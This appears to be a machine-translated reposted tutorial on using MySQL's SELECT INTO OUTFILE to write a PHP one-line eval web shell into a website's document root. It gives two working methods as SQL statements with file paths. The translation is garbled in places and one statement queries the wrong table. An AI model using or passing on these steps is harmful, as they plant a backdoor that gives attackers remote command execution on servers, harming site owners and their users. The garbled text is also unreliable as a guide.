MySQL Export a Word

Source: Internet
Author: User

Heard is very old things, learning when found still very useful, so learn to reprint, stay prepared to learn.

MySQL Export a word  

    • Method 1: Popular methods on the Internet

Process: (1) Build Table---> (2) Insert Data---> (3) Select query Export

Use test;                                    #调用test数据库;
DROP TABLE IF EXISTS tmp; # test If there is a TMP table in the current data;
CREATE TABLE tmp (cmd TEXT not NULL); # CREATE TABLE tmp, where the fields are cmd and the value cannot be null;
INSERT into tmp (CMD) VALUES (' <?php @eval ($_post[' Pass '));? > '); # Insert a sentence into the TMP table in the CMD field;
SELECT cmd from hello to OUTFILE '/home/htdocs/ok.php '; # Use SELECT ' Sth ' into outfile ' website physical path ';
DROP TABLE tmp; # Delete Table tmp.

Drop TABLE IF EXISTS temp; Delete if temp is present
Create TABLE Temp (cmd text not NULL); Create a temp table with a CMD field inside it
Insert into temp (cmd) VALUES (' <? PHP eval ($_post[cmd));? > '); Insert a word trojan into the temp table
Select cmd from temp to out file ' d:/wwwroot/1.php '; Query a sentence in the Temp table and import the results into eval.php
Drop TABLE IF EXISTS temp; Delete Temp

    • Method 2: Direct select query exports a word

There is also a train of thought, is through the select ' a word ' into the outfile ' website physical path ' can, the concrete operation statement is as follows:

Select ' <? PHP eval ($_post[cmd]);? > ' into outfile ' d:/phpstudy/wwww/1.php ';

This is simple and clear, not so much nonsense. I do not know the method of the Internet to operate so complex (build table-insert data-finally export data from the table), really complex!!!

If who knows, online such operation reasons, please give me a message to share under!!!

MySQL Export a Word

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.